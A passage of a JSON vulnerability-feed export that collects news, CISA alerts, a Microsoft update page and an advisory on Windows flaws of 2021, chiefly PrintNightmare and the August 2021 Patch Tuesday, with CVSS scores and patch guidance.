exploited given its low complexity status, according to Microsoft\u2019s advisory; it doesn\u2019t require privileges or user interaction to exploit, but Microsoft offered no further details.\n\n\u201cThis may fall into the \u2018wormable\u2019 category, at least between servers with NFS installed, especially since the open network computing remote procedure call (ONCRPC) consists of an External Data Representation (XDR) runtime built on the Winsock Kernel (WSK) interface,\u201d Childs said. \u201cThat certainly sounds like elevated code on a listening network service. Don\u2019t ignore this patch.\u201d\n\nAleks Haugom, product marketing manager at Automox, added, \u201cExploitation results in total loss of confidentiality across all devices managed by the same security authority. Furthermore, attackers can utilize it for denial-of-service attacks or to maliciously modify files. So far, no further details have been divulged by Microsoft or the security researcher (Liubenjin from Codesafe Team of Legendsec at Qi\u2019anxin Group) that discovered this vulnerability. Given the broad potential impact, its label \u2018Exploitation More Likely\u2019 and apparent secrecy, patching should be completed ASAP.\u201d\n\nMeanwhile, the memory-corruption bug (**CVE-2021-34480**) arises from how the scripting engine handles objects in memory, and it also allows RCE. Using a web-based attack or a malicious file, such as a malicious landing page or phishing email, attackers can use this vulnerability to take control of an affected system, install programs, view or change data, or create new user accounts with full user rights.\n\n\u201cCVE-2021-34480 should also be a priority,\u201d Kevin Breen, director of cyber-threat research at Immersive Labs, told Threatpost. \u201cIt is a low score in terms of CVSS, coming in at 6.8, but has been marked by Microsoft as \u2018Exploitation More Likely\u2019 because it is the type of attack commonly used to increase the success rate of spear phishing attacks to gain network access. Simple, but effective.\u201d\n\nThe Windows Graphic Component bug (**CVE-2021-34530**) allows attackers to remotely execute malicious code in the context of the current user, according to Microsoft \u2013 if they can social-engineer a target into opening a specially crafted file.\n\nAnother bug exists in the Windows MSHTML platform, also known as Trident (**CVE-2021-34534**). Trident is the rendering engine (mshtml.dll) used by Internet Explorer. The bug affects many Windows 10 versions (1607, 1809,1909, 2004, 20H2, 21H1) as well as Windows Server 2016 and 2019.\n\nBut while it potentially affects a large number of users, exploitation is not trivial.\n\n\u201cTo exploit, a threat actor would need to pull off a highly complex attack with user interaction \u2013 still entirely possible with the sophisticated attackers of today,\u201d said Peter Pflaster, technical product marketing manager at Automox.\n\nThe bug tracked as **CVE-2021-34535** impacts the Microsoft Remote Desktop Client, Microsoft\u2019s nearly ubiquitous utility for connecting to remote PCs.\n\n\u201cWith today\u2019s highly dispersed workforce, CVE-2021-34535, an RCE vulnerability in Remote Desktop Clients, should be a priority patch,\u201d said Breen. \u201cAttackers increasingly use RDP access as the tip of the spear to gain network access, often combining it with privilege escalation to move laterally. These can be powerful as, depending on the method, it may allow the attacker to authenticate in the network in the same way a user would, making detection difficult.\u201d\n\nIt\u2019s not as dangerous of a bug [as BlueKeep,](<https://threatpost.com/one-million-devices-open-to-wormable-microsoft-bluekeep-flaw/145113/>) according to Childs, which also affected RDP.\n\n\u201cBefore you start having flashbacks to BlueKeep, this bug affects the RDP client and not the RDP server,\u201d he said. \u201cHowever, the CVSS 9.9 bug is nothing to ignore. An attacker can take over a system if they can convince an affected RDP client to connect to an RDP server they control. On Hyper-V servers, a malicious program running in a guest VM could trigger guest-to-host RCE by exploiting this vulnerability in the Hyper-V Viewer. This is the more likely scenario and the reason you should test and deploy this patch quickly.\u201d\n\n## **Windows Print Spooler Bugs \u2013 Again**\n\nThe final critical bug is **CVE-2021-36936**, a Windows Print Spooler RCE bug that\u2019s listed as publicly known.\n\nPrint Spooler made headlines last month, when Microsoft patched what it thought was a minor elevation-of-privilege vulnerability in the service (CVE-2021-1675). But the listing was updated later in the week, after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE \u2013 [requiring a new patch](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>).\n\nIt also disclosed a second bug, similar to PrintNightmare (CVE-2021-34527); and a third, [an EoP issue](<https://threatpost.com/microsoft-unpatched-bug-windows-print-spooler/167855/>) ([CVE-2021-34481](<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>)).\n\n\u201cAnother month, another remote code-execution bug in the Print Spooler,\u201d said ZDI\u2019s Childs. \u201cThis bug is listed as publicly known, but it\u2019s not clear if this bug is a variant of PrintNightmare or a unique vulnerability all on its own. There are quite a few print-spooler bugs to keep track of. Either way, attackers can use this to execute code on affected systems. Microsoft does state low privileges are required, so that should put this in the non-wormable category, but you should still prioritize testing and deployment of this critical-rated bug.\u201d\n\nThe critical vulnerability is just one of three Print Spooler issues in the August Patch Tuesday release.\n\n\u201cThe specter of the PrintNightmare continues to haunt this patch Tuesday with three more print spooler vulnerabilities, CVE-2021-36947, CVE-2021-36936 and CVE-2021-34481,\u201d said Breen. \u201cAll three are listed as RCE over the network, requiring a low level of access, similar to PrintNightmare. Microsoft has marked these as \u2018Exploitation More Likely\u2019 which, if the previous speed of POC code being published is anything to go by, is certainly true.\u201d\n\n## **RCE Zero-Day in Windows Update Medic Service **\n\nThe actively exploited bug is tracked as **CVE-2021-36948** and is rated as important; it could pave the way for RCE via the Windows Update Medic Service in Windows 10 and Server 2019 and newer operating systems.\n\n\u201cUpdate Medic is a new service that allows users to repair Windows Update components from a damaged state such that the device can continue to receive updates,\u201d Automox\u2019 Jay Goodman explained. \u201cThe exploit is both low complexity and can be exploited without user interaction, making this an easy vulnerability to include in an adversary\u2019s toolbox.\u201d\n\nImmersive\u2019s Breen added, \u201cCVE-2021-36948 is a privilege-escalation vulnerability \u2013 the cornerstone of modern intrusions as they allow attackers the level of access to do things like hide their tracks and create user accounts. In the case of ransomware attacks, they have also been used to ensure maximum damage.\u201d\n\nThough the bug is being reported as being exploited in the wild by Microsoft, activity appears to remain limited or targeted: \u201cWe have seen no evidence of it at Kenna Security at this time,\u201d Jerry Gamblin, director of security research at Kenna Security (now part of Cisco) told Threatpost.\n\n## **Publicly Known Windows LSA Spoofing Bug**\n\nThe second publicly known bug (after the Print Spooler issue covered earlier) is tracked as **CVE-2021-36942**, and it\u2019s an important-rated Windows LSA (Local Security Authority) spoofing vulnerability.\n\n\u201cIt fixes a flaw that could be used to steal NTLM hashes from a domain controller or other vulnerable host,\u201d Immersive\u2019s Breen said. \u201cThese types of attacks are well known for lateral movement and privilege escalation, as has been demonstrated recently by a [new exploit called PetitPotam](<https://threatpost.com/microsoft-petitpotam-poc/168163/>). It is a post-intrusion exploit \u2013 further down the attack chain \u2013 but still a useful tool for attackers.\u201d\n\nChilds offered a bit of context around the bug.\n\n\u201cMicrosoft released this patch to further protect against NTLM relay attacks by issuing this update to block the LSARPC interface,\u201d he said. \u201cThis will impact some systems, notably Windows Server 2008 SP2, that use the EFS API OpenEncryptedFileRawA function. You should apply this to your Domain Controllers first and follow the additional guidance in [ADV210003](<https://msrc.microsoft.com/update-guide/vulnerability/ADV210003>) and [KB5005413](<https://support.microsoft.com/en-us/topic/kb5005413-mitigating-ntlm-relay-attacks-on-active-directory-certificate-services-ad-cs-3612b773-4043-4aa9-b23d-b87910cd3429>). This has been an ongoing issue since 2009, and, likely, this isn\u2019t the last we\u2019ll hear of this persistent issue.\u201d\n\nMicrosoft\u2019s next Patch Tuesday will fall on September 14.\n\nWorried about where the next attack is coming from? We\u2019ve got your back. **[REGISTER NOW](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)** for our upcoming live webinar, How to **Think Like a Threat Actor**, in partnership with Uptycs on Aug. 17 at 11 AM EST and find out precisely where attackers are targeting you and how to get there first. Join host Becky Bracken and Uptycs researchers Amit Malik and Ashwin Vamshi on **[Aug. 17 at 11AM EST for this LIVE discussion](<https://threatpost.com/webinars/how-to-think-like-a-threat-actor/?utm_source=ART&utm_medium=ART&utm_campaign=August_Uptycs_Webinar>)**.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-10T21:17:58", "type": "threatpost", "title": "Actively Exploited Windows Zero-Day Gets a Patch", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-26424", "CVE-2021-26432", "CVE-2021-34480", "CVE-2021-34481", "CVE-2021-34527", "CVE-2021-34530", "CVE-2021-34534", "CVE-2021-34535", "CVE-2021-36936", "CVE-2021-36942", "CVE-2021-36947", "CVE-2021-36948"], "modified": "2021-08-10T21:17:58", "id": "THREATPOST:8D4EA8B0593FD44763915E703BC9AB72", "href": "https://threatpost.com/exploited-windows-zero-day-patch/168539/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-07-08T18:12:56", "description": "Microsoft has released [out-of-band security updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) to address a remote code execution (RCE) vulnerability\u2014known as PrintNightmare (CVE-2021-34527)\u2014in the Windows Print spooler service. According to the CERT Coordination Center (CERT/CC), \u201cThe Microsoft Windows Print Spooler service fails to restrict access to functionality that allows users to add printers and related drivers, which can allow a remote authenticated attacker to execute arbitrary code with SYSTEM privileges on a vulnerable system.\u201d\n\nThe updates are cumulative and contain all previous fixes as well as protections for CVE-2021-1675. The updates do not include Windows 10 version 1607, Windows Server 2012, or Windows Server 2016\u2014Microsoft states updates for these versions are forthcoming. Note: According to CERT/CC, \u201cthe Microsoft update for CVE-2021-34527 only appears to address the Remote Code Execution (RCE via SMB and RPC) variants of the PrintNightmare, and not the Local Privilege Escalation (LPE) variant.\u201d See [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) for workarounds for the LPE variant.\n\nCISA encourages users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds. For additional background, see [CISA\u2019s initial Current Activity on PrintNightmare](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>).\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "cisa", "title": "Microsoft Releases Out-of-Band Security Updates for PrintNightmare", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "CISA:6C836D217FB0329B2D68AD71789D1BB0", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T18:09:13", "description": "_(Updated July 2, 2021) _For new information and mitigations, see [Microsoft's updated guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n_(Updated July 1, 2021) _See [Microsoft's new guidance for the Print spooler vulnerability (CVE-2021-34527)](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) and apply the necessary workarounds. \n\n_(Original post June 30, 2021)_ The CERT Coordination Center (CERT/CC) has released a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) for a critical remote code execution vulnerability in the Windows Print spooler service, noting: \u201cwhile Microsoft has released an [update for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>), it is important to realize that this update does not address the public exploits that also identify as CVE-2021-1675.\u201d An attacker can exploit this vulnerability\u2014nicknamed PrintNightmare\u2014to take control of an affected system.\n\nCISA encourages administrators to disable the Windows Print spooler service in Domain Controllers and systems that do not print. Additionally, administrators should employ the following best practice from Microsoft\u2019s [how-to guides](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>), published January 11, 2021: \u201cDue to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object.\u201d \n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-06-30T00:00:00", "type": "cisa", "title": "PrintNightmare, Critical Windows Print Spooler Vulnerability ", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-02T00:00:00", "id": "CISA:367C27124C09604830E0725F5F3123F7", "href": "https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "talosblog": [{"lastseen": "2021-07-08T22:35:10", "description": "Over the past several weeks, there's been a lot of discussion about a particular privilege escalation vulnerability in Windows affecting the print spooler, dubbed PrintNightmare. The vulnerability (CVE-2021-1675/CVE-2021-34527) has now been patched multiple times but is believed to still be... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {}, "published": "2021-07-08T13:25:03", "type": "talosblog", "title": "PrintNightmare: Here\u2019s what you need to know and Talos\u2019 coverage", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T13:25:03", "id": "TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/xyAn8M5kWIs/printnightmare-coverage.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-13T00:41:37", "description": "By Edmund Brumaghin, Joe Marshall, and Arnaud Zobec. Executive Summary Another threat actor is actively exploiting the so-called PrintNightmare vulnerability (CVE-2021-1675 / CVE-2021-34527) in Windows' print spooler service to spread laterally across a victim's network as part of a recent... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-12T16:16:46", "type": "talosblog", "title": "Vice Society Leverages PrintNightmare In Ransomware Attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-08-12T16:16:46", "id": "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/DO1FBKPzvIs/vice-society-ransomware-printnightmare.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mskb": [{"lastseen": "2023-03-15T10:46:46", "description": "None\n**6/21/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**11/17/20**For information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 2004 update history [home page](<https://support.microsoft.com/en-us/help/4555932>). \n**Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n## Improvements and fixes\n\n**Note: **To view the list of addressed issues, click or tap the OS name to expand the collapsible section.\n\n### \n\n__\n\nWindows 10 servicing stack update - 19041.1081, 19042.1081, and 19043.1081\n\n * This update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n### \n\n__\n\nWindows 10, version 21H1\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 20H2\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 2004\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.\n\n**Windows Update Improvements** \n \nMicrosoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptoms**| **Workaround** \n---|--- \nWhen using the Microsoft Japanese Input Method Editor (IME) to enter Kanji characters in an app that automatically allows the input of Furigana characters, you might not get the correct Furigana characters. You might need to enter the Furigana characters manually.**Note **The affected apps are using the **ImmGetCompositionString()** function.| This issue is resolved in KB5005101. \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps.| To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab &lt;destination path&gt;**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* &lt;destination path&gt;**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing this update, you might have issues printing to certain printers. Various brands and models are affected, primarily receipt or label printers that connect via USB.**Note **This issue is not related to [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) or [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>).| This issue is resolved in KB5004237. \nAfter installing the May 25, 2021 (KB5003214) and June 21, 2021 (KB5003690) updates, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nUniversal Windows Platform (UWP) apps might not open on devices that have undergone a Windows device reset. This includes operations that were initiated using Mobile Device Management (MDM), such as Reset this PC, Push-button reset, and Autopilot Reset. UWP apps you downloaded from the Microsoft Store are not affected. Only a limited set of apps are affected, including:\n\n * App packages with framework dependencies\n * Apps that are provisioned for the device, not per user account.\nThe affected apps will fail to open without error messages or other observable symptoms. They must be re-installed to restore functionality.| This issue is addressed in KB5015878 for all releases starting June 21, 2021 and later. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:For Windows Server Update Services (WSUS) deployment:\n\n * Install the May 11, 2021 update (KB5003173) before you install the latest cumulative update.\nFor offline Deployment Image Servicing and Management (**DISM.exe**) deployment:\n\n * If an image does not have the February 24, 2021 (KB4601382) or later cumulative update, install the January 12, 2021 SSU (KB4598481) and the May 11, 2021 update (KB5003173).\n**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update or Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. These changes will be included in the next security update to this channel. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004945>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5004945](<https://download.microsoft.com/download/6/0/4/6046cc97-919a-434d-86de-db2fe63580d0/5004945.csv>). For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 19041.1081, 19042.1081, and 19043.1081](<https://download.microsoft.com/download/6/2/d/62d4d81c-0498-4abf-95e7-b9be18ddcabd/SSU_version_19041_1081.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-07-01T07:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004945 (OS Builds 19041.1083, 19042.1083, and 19043.1083) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-01T07:00:00", "id": "KB5004945", "href": "https://support.microsoft.com/en-us/help/5004945", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "hivepro": [{"lastseen": "2021-08-23T15:19:10", "description": "#### THREAT LEVEL: Red.\n\nFor a detailed advisory, [download the ](<https://www.hivepro.com/wp-content/uploads/2021/06/TA202120.pdf>)[pdf file here.](<https://www.hivepro.com/wp-content/uploads/2021/07/TA202122.pdf>)\n\nAttackers have been targeting Windows Print Spooler services for almost 2 months now. It started with the vulnerability(CVE-2021-1675) being exploited in the wild. Soon a patch was released for the same. It was after 2 days that Microsoft found out that there exist another vulnerability which gives the attacker an access to execute a code in the victim\u2019s system. This new vulnerability(CVE-2021-34527) has been named as PrintNightmare. An emergency patch has been released by Microsoft for some of the versions and a workflow as been made available for other versions.\n\n#### Vulnerability Details\n\n\n\n#### Patch Links\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1675>\n\n<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>\n\n#### References\n\n<https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/>\n\n<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=notificationEmail#rapid7-analysis>\n\n<https://www.kaspersky.com/blog/printnightmare-vulnerability/40520/>", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T13:50:55", "type": 